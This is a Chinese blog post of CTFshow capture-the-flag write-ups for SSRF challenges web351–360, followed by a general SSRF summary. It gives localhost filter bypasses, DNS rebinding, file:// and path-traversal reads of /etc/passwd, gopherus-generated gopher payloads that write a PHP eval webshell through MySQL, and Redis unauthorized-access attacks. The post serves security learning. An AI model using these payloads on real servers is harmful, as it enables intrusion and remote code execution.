当前位置:首页 » 《休闲阅读》 » 正文

CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_Ocean的博客

7 人参与  2022年02月03日 13:59  分类 : 《休闲阅读》  评论

点击全文阅读


SSRF基础

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
  • readfile():输出一个文件的内容
  • fsockopen():打开一个网络连接或者一个Unix 套接字连接
  • curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
  • fopen():打开一个文件文件或者 URL
  • PHP原生类SoapClient在触发反序列化时可导致SSRF

相关协议

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
  • http/s协议:探测内网主机存活

利用方式

1.让服务端去访问相应的网址

2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms

3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件

4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})

5.攻击内网应用程序(利用跨协议通信技术)

6.判断内网主机是否存活:方法是访问看是否有端口开放

7.DoS攻击(请求大文件,始终保持连接keep-alive always)

web351-无过滤

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
# curl_init — 初始化 cURL 会话    
# curl_setopt — 设置一个cURL传输选项
# curl_exec — 执行 cURL 会话
# curl_close — 关闭 cURL 会话

直接访问 flag.php 提示:非本地用户禁止访问

payload:
post: url=http://127.0.0.1/flag.php
或者使用 file 伪协议去读取文件
post: url=file:///var/www/html/index.php 查看源码

web352-无过滤

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}

代码中虽然是有过滤但是去没有用。。。

url=http://localhost/flag.php
url=http://127.0.0.1/flag.php
都可以拿到 flag

web353-简单绕过

if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
}

payload

ip地址进制转换

127.0.0.1
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php

其他方法

缺省模式:127.0.0.1写成127.1
CIDR:url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

web354-过滤01

if(!preg_match('/localhost|1|0|。/i', $url))

方法一:域名指向127

在自己的域名中添加一条A记录指向 127.0.0.1

或者使用 http://sudo.cc这个域名就是指向127.0.0.1

方法二:302跳转

在自己的网站页面添加

<?php
header("Location:http://127.0.0.1/flag.php");

重定向到127

方法三:DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

查看 profile

image-20210928151708526

如果 ceye 域名中有 1,这题就用不了这种方法了

web355-五位长度host

$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){

host 长度小于等于 5 位

先来了解下 parse_url 函数

解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
数组中可能的键有以下几种:
scheme - 如 http
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后
    
# 例:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>    
# 输出
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

payload

url=http://127.1/flag.php
127.1整好五位

web356-三位长度host

if((strlen($host)<=3)){

payload

url=http://0/flag.php
# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357-302跳转/DNSrebinding

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}

先来看下 gethostbyname 函数

gethostbyname — 返回主机名对应的 IPv4地址

filter_var()

# php filter函数
filter_var()	获取一个变量,并进行过滤
filter_var_array()	获取多个变量,并进行过滤
......
# PHP 过滤器
FILTER_VALIDATE_IP	把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4IPV6 值。

因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法

DNS rebinding(DNS重新绑定攻击)

攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略

回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP

image-20210928152127601

payload

url=http://r.自己的域名.ceye.io/flag.php
# 注意前边要加上r.
# 多次尝试

image-20210928152446432

web358-正则匹配

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

url 字符串要以 http://ctf开头,show结尾

payload:
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show

攻击内网其他服务

web359-打mysql

题目提示:打无密码的mysql

一个登录界面,点击登录,抓包发现可疑参数 returl 存在 SSRF

image-20210928183653112

使用 gopher 协议去打 mysql

用 gopherus 工具生成 payload

python2 .\gopherus.py --exploit mysql

username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

image-20210928185745634

将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊字符,后端 curl 接收到参数后会默认解码一次)

image-20210928190203463

访问2.php,执行命令

image-20210928190206311

web360-打redis

提示:打redis

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

image-20210928192336784

懒人方法就是接着用工具生成 payload

python2 .\gopherus.py --exploit redis

image-20210928193021728

需要把 _ 后边的字符串再进行一次 url 编码

image-20210928193633352

默认会生成 shell.php 文件

image-20210928193649369

补充

其他绕过127的方法

  1. 如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/

  2. http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.io,http://sslip.io

  3. 短网址目前基本都需要登录使用,如缩我,https://4m.cn/

  4. 各种指向127.0.0.1的地址

    http://localhost/         # localhost就是代指127.0.0.1
    http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
    http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
    http://[::]:80/           # 在liunx下可用,window测试了下不行
    http://127。0。0。1/       # 用中文句号绕过
    http://①②⑦.⓪.⓪.①
    http://127.1/
    http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
    

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

httpsssss://

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

ssrf.php?url=httpsssss://../../../../../../etc/passwd

URL解析差异

1.readfile和parse_user函数解析差异绕过指定端口

<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的
	readfile($url);
} else {
	die('Hacker!');
}

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

ssrf.php?url=127.0.0.1:11211:80/flag.txt

可以成功读取11211端口flag.txt文件,原理如下图

1610601312_5fffd36035478c41c2c18.png!small?1610601312696

两个函数解析host也存在差异

1610601347_5fffd383dfc1a3982425f.png!small?1610601348433

利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制

2.利用curl和parse_url的解析差异绕过指定host

1610601386_5fffd3aa565a51587d90c.png!small?1610601386867

Gopher协议

前边的题 payload 都是直接用的脚本生成的,很脚本小子,但是却没学到啥

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口

Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面

Gopher协议格式

URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流

# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
  • 如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求

步骤

在gopher协议中发送HTTP的数据,需要以下三步:

1.抓取或构造HTTP数据包
2.URL编码、将回车换行符%0a替换为%0d%0a
3.发送符合gopher协议格式的请求

注意这几个问题:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

攻击内网FastCGI

https://www.freebuf.com/articles/web/260806.html

这篇文章写的超级详细,上边的很多内容也是参考了这篇文章

SSRF

参考链接

https://www.freebuf.com/articles/web/260806.html

https://www.freebuf.com/articles/web/263512.html

https://blog.csdn.net/solitudi/article/details/112510010

点击全文阅读


本文链接:http://zhangshiyu.com/post/34233.html

协议  请求  文件  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1